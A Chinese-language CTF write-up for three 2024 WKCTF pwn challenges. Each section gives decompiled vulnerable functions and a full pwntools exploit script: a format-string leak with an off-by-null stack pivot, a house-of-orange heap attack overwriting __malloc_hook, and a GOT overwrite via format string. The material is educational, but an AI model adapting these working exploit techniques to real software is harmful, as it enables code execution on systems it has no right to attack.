2024WKCTF-PWN


题目下载地址:https://github.com/0xviol1t/CTF-challenges/tree/main/2024/WKCTF

baby_stack

wait中存在格式化字符串漏洞,随便测一下发现输入6的时候会输出一个libc上的地址从而得到基址,通过libc基址获取one gadget地址

void __fastcall wait()
{
  unsigned int num; // eax
  char s[5]; // [rsp+Bh] [rbp-85h] BYREF
  char format[120]; // [rsp+10h] [rbp-80h] BYREF

  puts("Press enter to continue");
  getc(stdin);
  printf("Pick a number: ");
  fgets(s, 5, stdin);
  num = strtol(s, 0LL, 10);
  snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", num);
  printf(format);
  introduce();
}

echo_inner中存在栈上的off-by-null,在栈上布置rop并且通过输入长度控制将\x00写到rbp,返回到上层函数之后就会抬栈运行到布置的rop,为了确保执行到ogg需要将最后8位覆盖成ogg,前面全部覆盖成ret

void __fastcall echo_inner(_BYTE *a1, int size)
{
  a1[(int)fread(a1, 1uLL, size, stdin)] = 0;
  puts("You said:");
  printf("%s", a1);
}

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('110.40.35.73', 33688)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.sendafter(b'continue', b'\n')
r.sendlineafter(b'number', b'6')

r.recvuntil(b'is: ')
libc_base = int(r.recvuntil(b'\n')[:-1], 16) - 0x3ec7e3
libc = ELF('./2.27/libc-2.27.so')

one = [0x4f2a5, 0x4f302, 0x10a2fc]
ogg = one[1] + libc_base
ret = 0x00000000000008aa + libc_base

r.sendlineafter(b'256)? ', b'256')
p = p64(ret) * 31 + p64(ogg)
r.sendline(p)

r.interactive()

easy_heap

漏洞点出在edit可以堆溢出

unsigned __int64 edit()
{
  int index; // [rsp+0h] [rbp-10h] BYREF
  _DWORD size[3]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  index = 0;
  size[0] = 0;
  puts("Index :");
  __isoc99_scanf("%d", &index);
  puts("Size :");
  __isoc99_scanf("%d", size);
  if ( size[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  puts("Content :");
  read(0, chunk_ptr[index], size[0]);
  return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

没有delete且限制了show的长度为一个地址,首先想到的就是house of orange

伪造top chunk的条件:

  • 保证原本old top chunksize大于MINSIZE
  • 保证原本old top chunkprev_inuse位是1
  • 原本old top chunk的地址加上其size之后的地址要与页对齐 也就是address & 0xfff = 0x000
  • old chunksize要小于申请的堆块大小加上MINSIZE

当申请的堆大小大于伪造的top chunk大小时会将top chunk释放,释放的大小为top chunk size - 0x20,并且根据释放的大小判断进入fastbin或者unsorted bin

所以本题可以先释放一次top chunkunsorted bin泄露libc,再释放一次top chunkfastbin进行fastbin attack

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('110.40.35.73', 33747)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size, content):
    r.sendlineafter(b'>', b'1')
    r.sendlineafter(b'Size', str(size))
    r.sendafter(b'Content', content)

def edit(index, size, content):
    r.sendlineafter(b'>', b'2')
    r.sendlineafter(b'Index', str(index))
    r.sendlineafter(b'Size', str(size))
    r.sendafter(b'Content', content)

def show(index):
    r.sendlineafter(b'>', b'3')
    r.sendlineafter(b'Index', str(index))

add(0xdf8, b'a')
add(0x18, b'a')

p = b'a' * 0x18 + p64(0x1e1)
edit(1, len(p), p)

add(0xdf8, b'a')
add(0x1b8, b'a')

show(3)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00")) - 0x3c4b61
libc = ELF('./2.23/libc-2.23.so')

one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
ogg = libc_base + one[3]
malloc_hook = libc_base + libc.sym['__malloc_hook']

add(0x18, b'a')
p = b'a' * 0x18 + p64(0x1e1)
edit(4, len(p), p)

add(0x148, b'a')
add(0xdf8, b'a')

p = b'a' * 0x148 + p64(0x71) + p64(malloc_hook - 0x23)
edit(5, len(p), p)

add(0x68, b'a')
add(0x68, b'a' * 19 + p64(ogg))

r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Size', str(0))

r.interactive()

something_changed

漏洞点是格式化字符串,并且存在后门,限制了输入内容不能包含$,但还是可以直接用fmtstr_payload工具

int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v4; // x19
  int i; // [xsp+FCCh] [xbp+2Ch]
  char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
  __int64 v7; // [xsp+FF8h] [xbp+58h]

  v7 = _bss_start;
  read(0, v6, 0x50uLL);
  for ( i = 0; ; ++i )
  {
    v4 = i;
    if ( v4 >= strlen(v6) )
      break;
    if ( (char *)(unsigned __int8)v6[i] == "$" )
      return 0;
  }
  printf(v6);
  return 0;
}

测试出偏移是14,开了canary保护,所以可以将__stack_chk_fail_got改成backdoor

sudo qemu-aarch64 -L ./libc/libc/lib ./pwn        
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
aaaaaaaa-0x7f3e313a1400-0x2d70252d70252d70-0xa7025-0x7f3e313a1448-(nil)-0x8080808080-0x2c6f242c6f242c6f-0x7f3e313a13e0-0x7f3e30a48a00-0x400888-0x4008c0-0x7f3e313a13e0-0x4b30a489ac-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70

exp

from pwn import *

context(arch='aarch64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('120.79.91.95', 3332)
else:
    r = process(["qemu-aarch64", "-g", "1234", "./pwn"])

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
r.send(p)

r.interactive()

  目录